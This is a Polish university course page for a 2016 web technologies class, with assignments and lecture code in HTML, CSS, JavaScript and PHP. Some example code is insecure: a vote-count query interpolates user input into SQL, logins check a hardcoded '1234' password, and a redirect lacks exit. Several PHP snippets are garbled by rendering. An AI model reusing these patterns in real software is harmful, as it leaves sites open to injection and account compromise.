Strona główna Moje zajęcia

Modern WEB Technologies

Wykład przeznaczony jest dla studentów II roku I stopnia Informatyki na WPPT. Odbywa się w piątki w godz. 11:15-13:00 w sali 3.14/A1. Na stronie tej znajdziesz informacje o zasadach zaliczenia, realizowanym materiale, literaturze oraz listę zadań.

Literatura

  1. Introducing HTML5, Bruce Lawson and Remy Sharp, New Riders 2011
  2. Eloquent JavaScript A Modern Introduction to Programming, Marijn Haverbeke
  3. Beginning PHP and MySQL: From Novice to Professional, Fourth Edition, W. Jason Gilmore, Springer, 2010
  4. SASS and Compass in Action, Wynn Netherland, ..., Manning, 2013
  5. W3Schools.com
  6. Walidator WWW
  7. Walidator CSS
  8. Link do dobrego stylu "reset"
  9. Koła kolorów: Adobe Color CC, Paletton - The Color Scheme Designer

Materiały do nauczenia się

  1. w3schools: CSS Box model: zróbcie wszystkie zadania z tej strony
  2. w3schools: Selektory CSS
  3. w3schools: Podstawy PHP

Zasady zaliczania kursu

Będziecie mieli do zrealizowania trzy projekty (pierwszy z nich to strona z algorytmami). Oceniana będzie jakość kodów (html, css, skrypty) oraz poprawność graficzna i typograficzna przedstawionych stron.

Test który odbył się na ostatnim wykładzie (10.06.2016)

Zadania

  1. Niech k oznacza sumę cyfr swojego numeru indeksu modulo 10.
    Do wykonania masz stronę opisującą k-ty algorytm z następujące listy: Algorytm Euklidesa, Rozszerzony Algorytm Euklidesa, Test pierwszości, Sito Erastotenesa, Sortowanie przez wstawianie, Sortowanie przez scalanie, Wyszukiwanie binarne, Problem wież z Hanoi, Problem Hetmanów, Problem skoczka szachowego (numerację zaczynamy od zera). Strona ta ma być możliwie podobna do poniższej strony:

    Zadanie1
    Wymagania
    1. Nie stosuj żadnych narzędzi ani bibliotek. Korzystaj tylko z Notepad++ lub z Sublime Text
    2. Stosujemy zewnętrzny arkusz styli
    3. Główny kontener ma mieć szerokość 90% strony, ale nie więcej niż 940 px.
    4. Środkowe kolumny mają szerokości 1/3 i 2/3 zawierającego je pojemnika.
    5. Logo pochodzi ze strony Katedry
    6. Kolor elementu aktywnego menu pochodzi z logo
    7. Obiekt z menu zaznaczony myszą (hover) ma mieć czarne tło i biały kolor
    8. Zwróć uwagę na różnicę między czcionkami nagłowków i treści.
    9. Strona jak i arkusz muszą przejść proces walidacji. Wszystkie błędy muszą być wyeliminowane.
    10. Macie na to dwa tygodnie. Zróbcie to zadanie bardzo starannie, bo będziemy te strony udoskonalać w dalszych zadaniach
  2. Przekształć poprzednio zaplanowana stronę w stronę typu "responsive" realizującą postulat "Mobile First". Metody te będą będą omówione na drugim wykładzie. Czas: jeden tydzień.
    Piszcie kody w sposób bardzo oszczędny: stosujcie możliwie ogólne selektory.
  3. Przekształćcie zbudowaną stronę do strony zbudowanej w technologii "responsive grid": będzie ona omówiona na wykładzie w dniu 18.03.2016 (w dniu 11.03.2016 mamy, niestety, godziny rektorskie).
  4. Abyście nie nudzili się z powodu godzin rektorskich, przejdźcie na tę stronę ZabawyCSS3.html o postarajcie się opanować metody css tam zastosowane.
  5. Zainstaluj na swoim komputerze serwer node.js i zintegruj do z edytorem tekstów który używasz do projektowania stron WWW.
  6. Przejrzyj swoje zdjęcia z ostatnich wakacji pod kątem poprawności kompozycji i spróbuj wybrane z nich poprawnie skadrować.
  7. [18.03.2016] Dostosujcie budowaną stronę do omówionej technologii gridowej. Dodaj symulator ilustrujący działanie omawianego algorytmu. Powinniście zbudować mniej więcej taką stronę: NWD01.html
    To będzie koniec pierwszego projektu. Po świętach weźmiemy się za budowanie witryny ze zrealizowanych przez was projektów. Uwagi:
    1. Nie stosujcie flex-boxów ani podobnych eksperymentalnych technik gridowych, które jeszcze nie są standardem.
    2. Możecie (na razie) różne fragmenty styli zapisywać w oddzielnych arkuszach.
    3. Podobnie, różne kody javascript możecie zapisywać w oddzielnych plikach.
    4. Macie na to dwa tygodnie.
  8. Proste zadania programistyczne:
    1. Wypętlanie trójkąta: Napisz pętlę wywołująca 7 razy polecenie console.log aby generującą następujący trójkąt
      # 
      ## 
      ### 
      #### 
      ##### 
      ###### 
      #######
      
    2. FizzBuzz: Napisz program wykorzystujący console.log do wydrukowania wszystkich liczb of 1 do 100, z dwoma wyjątkami. Dla liczb podzielnych przez 3, napisz "Fizz" zamiaste tej liczby, oraz dla liczb podzielnych przez 5 (ale nie przez 3), napisz "Buzz".
      Jak już wszystko będzie dobrze działać, to zmodyfikuj ten program tak aby drukował "FizzBuzz", dla liczb które są podzielne jednocześnie przez 3 oraz 5 (i nadal drukuje "Fizz" lub "Buzz" dla liczb podzielnych przez jedną z nich).
    3. Szachownica: Napisz program który generuje łańcuch reprezentujący szachownicę rozmiaru 8×8, uzywający znak newline do oddzielenia linii. W każdej pozycji znajduje się znak 'o' lub '#'. or a “#” character. Po przekazaniu tego łańcucha do funkcji console.log powinno się pojawić coś mniej więcej takiego:
      #o#o#o#o
      o#o#o#o#
      #o#o#o#o
      o#o#o#o#
      #o#o#o#o
      o#o#o#o#
      #o#o#o#o
      o#o#o#o#
      
    4. Napisz funkcję countChar(s,C), która licza ile razy znak przekazany w zmiennej C występuje w ciągu S. Sprawdź jak zachowuje się ta funkcja jeśli podasz nieprawidłowe argumenty.
    5. Zastosuj metodę "Function Factory" do generowania funkcji , która na stronie WWW służyć będzą do przełącznia widoczości wskazanych elementów typu div. Wskazówka: spójrz na kod omówiony na wykładzie w dniu 2016-02-26.
  9. Zainstaluj na swoim komputerze pakiet XAMPP. Potrzebne moduły to PHP, MySQL (lub Maria.db). Najwygodniej będzie, jeśli cały pakiet zainstalujesz to katalogu c:/xampp/.
  10. Przyjrzyj się nastepującym stronom: Ta grupa stron od paru lat utrzymuje się na czele wielu list najgorszych stron na świecie. Omów podstawowe popełnione błędy projektowe na każdej z tych stron. Przetestuj te strony za pomocą walidatora ston www.
  11. Przyjrzyj zbudowanej przez siebie w projekcie 1 stronie z punktu widzenia zasady C.R.A.P.
  12. Przekształć zrealizowany przez siebie projekt do technologii PHP: napisz w języku PHP szablon stron (możesz bazować na szablonie pokazanym na wykładzie z dnia 2016-04-08). Szablon ten powinien umożliwić łatwe podłączenie wszystkich budowanych stron przez kolegów/koleżnaek ze swojej grupy laboratoryjnej. CZAS: do 23.04.2016.
  13. Zaprojektuj zestaw ikon (favicons) dla budowanej przez siebie strony i podłącz je do swojej strony. Wykorzystaj do tego pierwsza literę swojego nazwiska lub zrób monogram (ze swojego imienia i nazwiska). Starannie przemyśl dobór kolorów (skorzystaj np. ze stron Adobe Color CC lub Paletton - The Color Scheme Designer). Kontrast może sprawdzić np. za pomocą stroony WebAIM lub Colour Contrast Check. Do ostatecznego wygenerowania różnego rozmiaru ikon możesz skorzystać np. ze strony www.favicon-generator.org. CZAS: do 30.04.2016.
  14. Rozbuduj zbudawany przez siebie obiekt języka PHP służący do generowania stron o możliwość dodawanie specyficznych dla strony arkuszy styli oraz specyficznych plików JavaScript. Możesz się wzorować na pliku PHP/myPage.php wykorzystywanym przez skrypt basicmysqli04.php, omówionym na wykładzie w dniu 15.04.2016 (na stronie tej znajduje się plik z omawianymi źródłami). CZAS: do 30.04.2016.
  15. Zaintsaluj Gulp'a na swoim komputerze (polecenie npm install gulp -g). Prze zrobieniem tego przeczytaj sobie artykuł gulp-for-beginners. Dowiedz się z niego jak zainstalować SASS'a na swoim komputerze. Będziemy go używać na wykładzie w niu 29.04.2016.
  16. Zastosuj mocno kontrastowy i kolorowy styl css do budowanej strony. Użyj fontu Lato-Regular (moższ go znaleźć na Google fonts) do wyświetlania treści oraz fontu Georgia do nagłówków. Zastosuj javascript do wyrównania obiektów zawierających kody programów. Powinniście otrzymać coś w tym stylu:
    agresywny styl
    Kolorystyka: do waszego wyboru; ale starajcie się stosować te zasady kompozycji i teorii kolorów, które omowiliśmy na poprzednich wykładach; postarajcie się uzyskać efekt "vertical ryhtm". CZAS: do 07.05.2016
  17. Zapoznaj się ze stroną simple-gulpy-workflow-sass. Korzystają z umieszczonych tam wskazówek zainstaluj gulp-sass'a i skompiluj dowolny prosty projekt SASS'a do pliku css. Użyj w nim zmiennych SASS'a do kontroli kolorów różnych elementów DOM.
  18. Zanurz MathJax'a w budowanę przez siebie stronę i rozbuduj ją o krótki akapit o złożoności obliczeniowej i pamięciowej omawianego algorytmu. W akapicie tym skorzystaj z MathJax'a.
  19. Dodaj licznik wizyt budowanej przez siebie strony oraz dodaj do niego system "lajków" oparty o technnologię Ajax (opcjonalnie (na 5.0): postaraj się nie korzystać z jQuery - dowiedz się jak to możesz zrobić w czystym Javascript). Do obsługi licznika i lajków możesz wykorzystać pliki tekstowe.
  20. Zbuduj logo katedry oparte na technologii canvas i javascript. Zwróć uwagę na symetrie występujące w tym logo. Kod nie powinien być dłuższy niż 2kB. Logo powinno być odświerzane po zdarzeniu "resize".
  21. Wybierz po jednej implementacji kolegów/koleżanek ze swojej grupy każdego z algorytmów, ktorymi się zajmujecie. Scal te kody w jeden system, który jest połączony linkami. Postaraj sie możliwie ujednolicić style wszystkich stron. TERMIN: 21.05.2016. Szczegóły wyjaśnijcie z prowadzącymi laboratoria.
    Na tym zakończymy pracę ze stronami z algorytmami. Ale będzie jeszcze jedno zadanie programistyczne.
  22. Zadanie dodatkowe.
    Załóż sobie konto na openweathermap.org. Napisz aplikację, która pobiera informacje o aktualne pogodzie dla miejscowości w ktorej mieszkasz. Mozesz sposłyżyć się mniej więcej następujjącym kodem
    ......
    $APIKEY   = "XXXXXXXXXXXXXXXXXXXXXXX;
    $url      = "http://api.openweathermap.org/data/2.5/weather?lat=51.1&lon=17&APPID=".$APIKEY;
    $w_json   = file_get_contents($url);
    $pogoda   = json_decode($w_json, true);
    .......
    
    gdzie XXXXXXXXXXXXX jest twoim klluczem do tego serwisu. Rozbuduj tę aplikację tak, aby pobierać dane histowyczne z statniego jednego miesiąca.
  23. Ulepsz pokazany na wykładzie w dniu 2016.05.20 skrypt prostego chata: powinien on sprawdzać, czy są zmiany w bazie danych (funkcja getStateOfChat() zwraca Id ostatniego wpisu, i jeśli nie ma zmiany, to nie ma wykonywać odświerzania div'a z ostatnimi dziesięcioma wpisami).
  24. OSTATNI PROJEKT: wzorując się na pokazanym na wykładzie w dniu 2016.05.20 chat'cie oprogramuj "bloga" na temat zrealizowanego przez siebie ostatniego projektu. Edytorami mogą być koleżanki/koledzy z grupy ćwiczeniowej - możesz więc ich (oraz ich hasła) wpisać na sztywno do kodu. Blog ten podłącz do swojego ostatniego projektu - zrób to w sposób możliwie mało destrukcyjny: postaraj się nie zepsuć tego co do tej pory zrobiłeś.

Omówiony materiał

2016-02-26: Wprowadzenie i pierwsza strona

  1. Terminologia:
    • Web page: strona WWW
    • Web site: serwis, witryna, portal
    • selektory CSS: selektor{właściwość: wartość; ...}
  2. Elementy historii HTML i CSS:
    1. 1980: Tim Berners-Lee (CERN); ENQUIRE (system napisany w języku PASCAL; chodził na norweskiej maszynie NORD-10; jeden program miał do dyspozycji 64kB pamięci).
    2. 1991: Tim Berners-Lee; HTML TAGS (HTML 1)
    3. 1994: powstaje World Wide Web Consortium (W3C)
    4. 1994: HTML 2
    5. 1997: HTML 3
    6. 1999: HMML 4
    7. 2008: HTML 5
    Przypuszczalny termin opublikowania pełnej specyfikacji HTML5: lipiec 2017
  3. Podstawowy szablon strony HTML5:
    <!DOCTYPE html> 
    <html lang="pl"> 
    <head>  
    <meta charset="utf-8"> 
    <title>Tytul strony</title> 
    </head> 
    <body>
    </body> 
    </html> 
    
    Strony i arkusze zapisujmy w formacie utf-8 (bez BOM).
  4. Znaczniki semantyczne:

    sectioning
  5. Model pudełkowy
  6. Elementy projektowania wyglądu strony:
    1. Ustalenie modelu elementów semantycznych dla startych przeglądarek:
      article, aside, figure, footer, header, menu, nav, section { 
        display: block;
      }
    2. Ustalenie sposobu mierzenia pubdełek:
      	* {box-sizing: border-box;}
      Uwaga: to jest dosyć radykalne rozwiązanie.
    3. Klasa .row realizująca "clearfix":
      .row:after {
        content: "";
        display: block;
        clear: both;
        height:0;
        visibility:hidden; 
      }
    4. Organizacja glównej części pierwszej strony (z Zadania 1):
      1. HTML:
        <div class="row">
          <div id="leftMenu"> ... </div>
          <div id="content"> ... </div>
        </div>
      2. CSS:
        #leftMenu{ float:left; width: 33.33333%; ...}
        #content { float:left; width: 66.66666%; ...}
    5. CSS - prefiksy przeglądarek:
      • Android: -webkit-
      • Chrome: -webkit-
      • Firefox: -moz-
      • Internet Explorer: -ms-
      • iOS: -webkit-
      • Opera: -o-
      • Safari: -webkit-

2016-02-26: DOM i selektory css

  1. Analiza DOM i upraszczanie struktury dokumentu i arkuszy css.
  2. Link do strony z selektorami: css_selectors
  3. Specyficzność selektórów CSS; strona do testowania Specificity.html
  4. Style responsywne:
    • NAGŁOWEK <meta name="viewport" content= "width=device-width, initial-scale=1.0"/>
    • MEDIA QUERY; przykład @media screen and (min-width: 640px) { ....}
  5. Mobile First: najpierw planuj/wczytaj css dla najmniejszej rozdzielczości, a potem dla coraz większych.
  6. Przełączanie widoczności elementu:
    function toggleMenu(){
    	var el = document.getElementById("leftMenu");
    	if (el.style.display != 'block'){
    		el.style.display = 'block';
    	} else {
    		el.style.display = 'none';
    	}
    }
    window.onload = function(){
    	document.getElementById("showMenu").onclick = toggleMenu;
    	//document.getElementById("showMenu").addEventListener("click", toggleMenu);
    }
    

2016-03-18: Zasady kompozycji. Grid. Javascript.

  1. Złota proporcja
  2. Zasada podziału trójkowego
  3. Metody budowania gridów. Strona GridTest na której możesz znaleźć omówiony na wykładzie 6-kolumnowy prosty grid-system
  4. Krótki wykład: Gary Bernhardt'a z CodeMash 2012
  5. Typ Numbers w Javascript
     1/0           -->  Infinity
    -1/0           --> -Infinity
     1/0-1/0       -->  NaN
    typeof(NaN)    --> 'Number'
    0.1+0.2        --> 0.30000000000000004
    0.1+0.2 == 0.3 --> false
    
  6. Fragment kodu Javascript
    function nwd(a,b){
      var S;	
      var c;
      S = "";
      while (b != 0){
        S = S + "(" + a + "," + b + ") --> \n"
        c = a;
        a = b;
        b = c % b;
      }
      S = S + a;
      return S;
    }
    nwd(25,10)
    console.log(S);
    

2016-04-01: Javascript.

  1. Lexical scoping: wszystkie zmienne w ciele funkcji są widoczne w każdym miejscu funkcji
  2. Hoisting (windowanie): deklaracje zmiennych (za pomocą var) oraz funkcje definiowane za pomocą polecenie function są windowane na początek funkcji.
    Przykład: nastepujące kody sa równoważne:
    function f(a){
    	for (var i=0;i<5;i++){
    		var x = i*a;
    	};
    	var b = 3;
    	return b+x;
    }
    
    function f(a){
    	var i,x,b;
    	for (i=0;i<5;i++){
    		x = i*a;
    	};
    	b = 3;
    	return b+x;
    }
    
  3. Każda funkcja dysponuje obiektem arguments. Jest to pseudo-array. Przykład:
    function sumOfSquares(){
    	var S=0;
    	for(var i =0;i<arguments.length;i++){
    		S = S + arguments[i] * arguments[i];
    	};
    	return S;
    }
    console.log(sumOfSquares(1,2,3,4,5));
    
  4. Closure: funkcja z łańcuchem lexical enviroments.
  5. Przykład (Function Factory):
    function adder(base){
    	function add(x){
    		return base+x;
    	};
    	return add;
    } 
    var add10 = adder(10);
    var add20 = adder(20);
    console.log(add10(5)); // wynik: 15
    console.log(add20(5)); // wynik: 25
     
  6. Obiekty: konstrukcja bezpośrednia i za pomocą "funkcji konstruktora".
  7. Przykład: Licznik
    function counter(){
      var L =0;
      function increase(){
        L++
      };
      function show(){
        return L;
      }
      return {
        inc: increase,
        get: show
      }
    }
    var C1 = counter();
    var C2 = counter();
    C1.inc();C1.inc();C1.inc();C1.inc();
    C2.inc();C2.inc();
    console.log(C1.get());
    console.log(C2.get());
    
  8. Konkretne wykorzystanie: TabSort.html

2016-04-08: PHP - I.

  1. Zasada C.R.A.P: Wizytówka
  2. Przejrzyj książkę The non-designer’s design Book Robina williamsa
  3. Wprowadzenie do PHP
  4. Klasa z szablonem stron
    <?php
    //MODEL
    $STRONY = [
      [
    'id'=>1,  'name'=>"NWD",         'href'=>"nwd.php",    "class"=>"nwd"],
      [
    'id'=>2,  'name'=>"ExtNWD",      'href'=>"extnwd.php""class"=>"extnwd"],
      [
    'id'=>3,  'name'=>"Quick Sort",  'href'=>"qsort.php",  "class"=>"qsort"],
      [
    'id'=>4,  'name'=>"Merge Sort",  'href'=>"msort.php",  "class"=>"msort"]
    ];
    //VIEW
    $HEADER =<<<EOT
    <!DOCTYPE html>
    <html lang="pl">
    <head>
      <meta charset="utf-8">
      <title>{{TITLE}}</title>
      <meta name="description" content= "Pierwsze zabawy z PHP">
      <meta name="keywords" content= "WPPT, PWr, programy, algorytmy, PHP">  
      <meta name="viewport"  content= "width=device-width, initial-scale=1.0"/>
      <link href="css/prog.css" rel="stylesheet">
    </head>
    <body>
    <div class="pagecontainer">
    <div id="MAINMENU">
    <ul>
    {{ITEMS}}</ul>
    </div>
    EOT;
    $FOOTER = <<<EOT
    </div>
    </body>
    </html>
    EOT;
    //CONTROLLER
      
    class Page{
      private 
    $id   = -1;
      private 
    $Title"";
    /**
     *  Konstruktor .
     *  @param  int    $id Numer modułu.
     *  @param  string $T  Title
     */
      
    function __construct($id$T){
        
    $this->id    $id;
        
    $this->Title $T;
      }
    /**
    *  Funkcja służąca do budowy menu.
    *  @return string  Menu zbudowane z.$STRONY
    */
      
    private function Menu(){
        global 
    $STRONY;
        
    $ITEM   "<li><a href='{{HREF}}' class= '{{CLASS}}'>{{NAME}}</a></li>";
        
    $ACTIVE "<li><a href='javascript:void(0);' class= '{{CLASS}}'>{{NAME}}</a></li>";
        
    $S "";
        for (
    $i=0$i<count($STRONY); $i++){
          if ( (int) 
    $STRONY[$i]["id"] == $this->id){
            
    $T$ACTIVE;
          } else {
            
    $T= (string) str_replace("{{HREF}}", (string) $STRONY[$i]["href"], $ITEM);
          };
          
    $T = (string) str_replace("{{CLASS}}", (string) $STRONY[$i]["class"], $T);
          
    $T = (string) str_replace("{{NAME}}" , (string) $STRONY[$i]["name"],  $T);
          
    $S.= $T "\n";
        }
        return 
    $S;
      }
    /**
    *  Początek strony
    *  @return string  Kod nagłówka i początku strony.
    */
      
    public function Begin(){
        global 
    $HEADER;
        
    $S = (string) str_replace("{{TITLE}}"$this->Title,  $HEADER);
        
    $S = (string) str_replace("{{ITEMS}}"$this->Menu(), $S);
        return 
    $S;
      }
    /**
    *  Koniec strony
    *  @return string  Kod końca strony.
    */
      
    public function End(){
        global 
    $FOOTER;
        return 
    $FOOTER;
      }
    }  
    ?>
    A to sposób wykorzystania tej klasy
    <?php
    require_once("Page03.php");
    $P = new Page(1,"Bardzo głupie zastosowanie");
    echo 
    $P->Begin();
    ?>

    <h1>NWD</h1>
    <p>
     To jest test strony.
    </p>

    <?php echo $P->End(); ?>
    A to link do zbudowanej strony: index3.php

2016-04-15: PHP-II

  1. Elementy teorii kolorów: Kolory
  2. Artykuł o psychologii kolorów
  3. Ustawienie dostępu do MySQL (MariaDB): Po zainstalowaniu XAMPP uzytkownik "root" ma hasło puste.
    Zmiana hasła do obiektu root:
    1. Uruchom apache i mysql
    2. Przejdź do katalogu c:/xampp/mysql/bin
    3. W konsoli uruchom mysqladmin -u root password 1234
    4. Przejdź do katalogu c:/xampp/phpMyAdmin
    5. W pliku config.inc.php zmień linijki:
      §cfg['Servers'][§i]['auth_type'] = 'config';
      §cfg['Servers'][§i]['password'] = '';
      na
      §cfg['Servers'][§i]['auth_type'] = 'cookie';
      §cfg['Servers'][§i]['password'] = '1234';
    6. Uruchom (np. z konsoli XMMPP) program phpMyAdmin (przycisk Admin w linijce MySQL)
    7. Zaloguj się jako użytkownik root z hasłem 1234
  4. Metody nawiązania łączności z bazą danych
  5. Plik z programami omawianymi na wykładzie: Bazy01.zip. W pliku InsertOsoby.sql znajduje się skrypt do zaimportowania danych do tabeli "kadra" bazy o nazwie "WPPT". Przy zakładaniu bazy pamiętaj o formacie innoDB oraz o ustawieniu "Collation" na utf8_polish_ci. Zastosowany format pół: NICK: char(4), Imie: varchar(25), Nazwisko: varchar(35), Tytul: char(3), Stanowisko: char(4), Pokoj: char(10).

2016-04-22: Fonty, Javascriot i PHP.

  1. Elementy teorii fontów: główne grupy fontów
  2. Artykuł o pionowym rytmie strony
  3. Kod który użyłem do wyrównania wysokości trzech sąsiadujących elementów na stronie:
    function alignMyDivs(){
      var els = [document.getElementById("col1"), 
      document.getElementById("col2"), 
      document.getElementById("col3")];
      
      //Niech przegladarka sama przeliczy potrzebne wysokości
      for (var i=0;i<els.length;i++){
        els[i].style.height = "auto";
      }
      //Wyznaczamy maksimum z wysokości
      var h = 0;
      for (i=0; i<els.length; i++){
        h = Math.max(h,els[i].clientHeight);
      }
      //Ustawiamy sami wysokości
      for (var i=0;i<els.length;i++){
        els[i].style.height = h + "px";
      }
    }
    
    window.onload = function(){
      alignMyDivs();
      window.onresize = alignMyDivs;
    }
    
  4. Omówiliśmy też początek budowy strony z blogiem. Tu znajdują się spakowane pliki z tym co pokazywałem na wykładzie: blog0.zip. Ważna rzecz: do zapisywanie informacji pobranych ze strony do bazy danych użyliśmy tzw. "prepared queries".

2016-04-29: CRUD, REST i SASS

  1. Przerobienie bloga do pełnego serwisu C.R.U.D.:
  2. Włączenie mechanizmu przepisywanie w Apache. W pliku httpd.conf:
    1. plik pliku httpd.conf: odkomentuj linijkę # LoadModule rewrite_module modules/mod_rewrite.so
    2. plik httpd.conf: zastąp linijkę # AllowOverride none wpisem AllowOverride All
    3. Załóż w katalogu z plikami php plik tekstowy .htaccess z taką zawartością:
      RewriteEngine on
      RewriteRule ^Osoby$ apiOsoby.php [L]
      RewriteRule ^Osoby/([^/.]+)/?$ apiOsoby.php?NICK=$1 [L]
      
  3. Wzorzec programowy REST i przykład korzystania z WEB serwera: UseApiOsoby.php
  4. Kody wszystkich plików PHP omawiane nw wykładzie: bazy29042016.zip
  5. Wprowadzenie do SASS'a: guide, podstawy-sass
  6. Plik gulpfile.js organizujący pracę gulpa (obserwuje pliki test01/scss/*.scss; jeśli wykryje zmianę to odpala skrypt o nazwie 'sass', który kompiluje plik test01/scss/master.scss i przerabia go na plik test01/css/master.css):
    var gulp = require('gulp');
    var sass = require('gulp-sass');
    
    gulp.task('hello', function() {
      console.log('>>>>>>>>>>>');
      console.log('Hello Jacek');
    });
    
    var sassOptions = {
      errLogToConsole: true,
      outputStyle: 'expanded'
    };
    
    gulp.task('sass', function(){
      return gulp.src('test01/scss/master.scss')
      .pipe(sass(sassOptions)) 
      .on('error',  sass.logError)
      .pipe(gulp.dest('test01/css'));
    });
    
    gulp.task('obserwuj',function() {
      gulp.watch('test01/scss/*.scss',['sass'])
      .on('change', function(event) {console.log('File ' + event.path + ' was ' + event.type);});
    });
    
    Uruchomienie: gulp obserwuj (z konsoli) z katalogu w którym znajduje się ten plik.
  7. Podłączenie biblioteki MathJax (do wyświetlania Latex'a na stronach WWW):
    <head>
    ....
    <script type="text/x-mathjax-config">
      MathJax.Hub.Config({
        extensions: ["tex2jax.js"],
        jax: ["input/TeX", "output/HTML-CSS"],
        tex2jax: {
        inlineMath:  [['$','$']],
        displayMath: [['$$','$$']],
        processEscapes: true
        },
        "HTML-CSS": { availableFonts: ["TeX"]}
      });
    </script>
    <script type="text/javascript" 
    src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
    </script>
    ....
    </head>
    

2016-05-06: AJAX, COOKIES, SESJE

  1. Prosty licznik wizyt
    class Counter{
    	private $counter  = 1;
    	
    	function __construct(){
    		$filePath = "counter.txt";
    		if (file_exists($filePath)){
    			$handle = fopen($filePath, "r"); 
    			$counter = (int) fread($handle,20); 
    			fclose ($handle); 
    			$counter++; 
    			$handle = fopen($filePath, "w" ); 
    			fwrite($handle,$counter) ; 
    			fclose($handle);
    			$this->counter = $counter;			
    		} else {
    			$handle = fopen($filePath, "w");
    			fwrite($handle,$this->counter) ; 
    			fclose($handle);
    		}
    	}
    	
    	function Get(){
    		return $this->counter;
    	}
    }
     
  2. Ajax'owe głosowania
    ...
    
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script>
    ...
    <div class="tablica">
      <div class='votes_count' id= 'votes_count'>
        <?php echo WynikGlosowania("EuclidJCI"); ?> 
      </div>  
      <div class='vote_buttons' id = 'vote_buttons'>  
      Oceń: 
        <a href='javascript:;'   id = 'vote_up'   class="vote_button">☝</a>  
        <a href='javascript:;'   id = 'vote_down' class="vote_button">☟</a>  
      </div>
    </div> 
    ...
    <script>
    $(function(){  
    
      var theId = 'EuclidJCI';
    
      $("#vote_up").click(function(){  
         $(this).parent().html("↝");    
         //wywołanie ajax'a  
         $.ajax({  
           type: "POST",  
           data: "action=vote_up&id="+theId,  
           url : "votes.php",  
           success: function(msg)  
          {  
            $("#votes_count").html(msg);    
            $("#vote_buttons").remove();  
          }
        });  
      });  
      // tu oprogramuj samodzielnie #vote_down
    }  
    </script>
    
    Plik votes.php:
    <?php
    require_once("PHP/MyDatabase.php");
    
    function ZwiekszNaTak($Id){
      $db  = myDB();
      $stmt = $db->prepare("UPDATE votes SET Up = Up+1 WHERE Id = ?");
      $stmt-> bind_param("s", $Id);
      $stmt -> execute();
    }
    
    function ZwiekszNaNie($Id){
      $db  = myDB();
      $stmt = $db->prepare("UPDATE votes SET Down = Down+1 WHERE Id = ?");
      $stmt-> bind_param("s", $Id);
      $stmt -> execute();
    }
    
    function WynikGlosowania($Id){
      $db  = myDB();
      $res = myDbSelect($db,"SELECT * FROM votes WHERE Id='$Id';");
      $up  = (int)$res[0]['Up'];
      $down= (int)$res[0]['Down'];
      return "Tak: $up, Nie: $down; Wynik: ". ($up-$down);
    }
    
    $Id     = (isset($_POST['id'])?$_POST['id']:"");
    $action = (isset($_POST['action'])?$_POST['action']:"");
    
    if ($Id!==""){
      switch ($action) {
        case "vote_up":
          ZwiekszNaTak($Id);
          echo WynikGlosowania($Id);
          break;
        case "vote_down":
          ZwiekszNaNie($Id);
          echo WynikGlosowania($Id);
          break;
        default:
          echo "Bład";
      }
    }
    ?>
    
  3. Tablica znaków specjalnych HTML: A-Z HTML Codes
  4. Wykorzystanie COOKIES do kontroli wersji językowej strony
    <?php
    $lang = "pl";
    if (isset($_GET['lang'])){
    	$lang = $_GET['lang'];
    	setcookie('lang',$lang);
    } elseif (isset($_COOKIE['lang'])){
    	$lang = $_COOKIE['lang'];
    }
    ?>
    
    <!DOCTYPE html>
    <html lang="pl">
    <head>
      <meta charset="utf-8">
    </head>
    <body>
    
    <?php
    if ($lang==="pl") {
      echo file_get_contents("Templates/CookiePL.html");
    } else {
      echo file_get_contents("Templates/CookieEN.html");
    }
    ?>
    
    </body>
    </html>
    
    Uwaga: setcookie(...) musi być wywołane przed wygenerowaniem pierwszego napisu na stronie.
  5. SESJE PHP
    1. STRONA STARTOWA (plik login/NormalPage.php)
        ...
        <h1>Normalna strona</h1>
        <p>Jesteś na normalnej stronie.</p>
        <a href="login.php">Zaloguj się</p>
        ...
        
    2. Plik login/Sesja.php
        <?php
        
        namespace SESJA;
        
        function CheckUser(){
          //utrudniamy życie hakerom: w naglowku się nie uda przesłać info; 
          if (!( isset($_POST['user']) and isset($_POST['password']) )){
            return false;
          }
          $NICK = $_POST['user'];
          $PASS = $_POST['password'];
          //To trzeba zastąpić porządnym sprawdzeniem
          if ($PASS==='1234'){
            $time = 60*60;
            session_set_cookie_params($time); //czas w sekundach
            session_start();
            $_SESSION['NICK'] = $NICK;
            $_SESSION['Imie'] = "Jacek";
            $_SESSION['Nazwisko'] = 'Cichoń';
            return true;
          } else {
            return false;
          }
        }
        function CheckSession(){
          session_start();
          return isset($_SESSION['NICK']);
        }
        function StopSession(){
          session_start();
          $params = session_get_cookie_params();
          session_unset();
          session_destroy(); 
          setcookie(session_name(), '', 1, 
            $params['path'], $params['domain'], 
            $params['secure'], isset($params['httponly'])
          );
        }
        ?>
      
      Uwaga: Wykorzystaliśmy mechanizm namespace. Mogliśmy zamiast tego zbudować obiekt opakowujący powyższe funkcje.
      Uwaga: Na nastepnym wykładzie wzmocnimy mechanizmy zabezpieczenia sesji.
    3. Plik login/login.php
        <?php
        require_once("PHP/Session.php");
        
        if (isset($_GET['check'])){
          if (SESJA\CheckUser()){
            header("location: https://" . $_SERVER['HTTP_HOST'] ."/login/SecurePage.php");
          } else {
            header("location: http://" . $_SERVER['HTTP_HOST'] . "/login/login.php?error=login");
          }
        }
        
        if (isset($_GET['logout'])){
          SESJA\StopSession();
          header("location: http://" . $_SERVER['HTTP_HOST'] . "/login/NormalPage.php");
        }
        
        $blad = isset($_GET['error']);
        ?>	
        
        <!DOCTYPE html>
        
        <html lang="pl">
        <head>
          <meta charset="utf-8">
          <title>Login page</title>
        </head>
        
        <body>
        <h1>Logowanie do systemu</h1>
        
        <?php
        if ($blad){
          echo "<p class='error'>Błąd logowania</p>";
        }
        ?>
        
        <form method="post" action="https://127.0.0.1/login/login.php?check=user" id="forma">
          <label for="fUser">Użytkownik</label> 
          <input type="text" name = "user" size="40" 
        	maxlength="40" placeholder="Twój NICK" required id="fUser"> 
          <br>
          <label for = "fPass">Hasło</label>
          <input type="password" name = "password" size="40" 
        	maxlength="40" placeholder="Twoje hasło" required id="fPass"> 	
          <br><br>
          <input type="submit"  class="button" value="Zaloguj się">
        </form>
        
        </body>
        </html>
      
      Uwaga: aby kod był czytelny, usunąłem z niego wszyskie ozdobniki stylistyczne.
    4. Plik login/SecurePage.php
        <?php
        require_once("PHP/Session.php");
        if (!SESJA\CheckSession()){
          header("location: login.php");
        }
        ?>
        
        <!DOCTYPE html>
        
        <html lang="pl">
        <head>
          <meta charset="utf-8">
          <title>Secure page</title>
        </head>
        
        <body>
        <h1>Witaj na <small>stosunkowo</small> bezpiecznej stronie</h1>
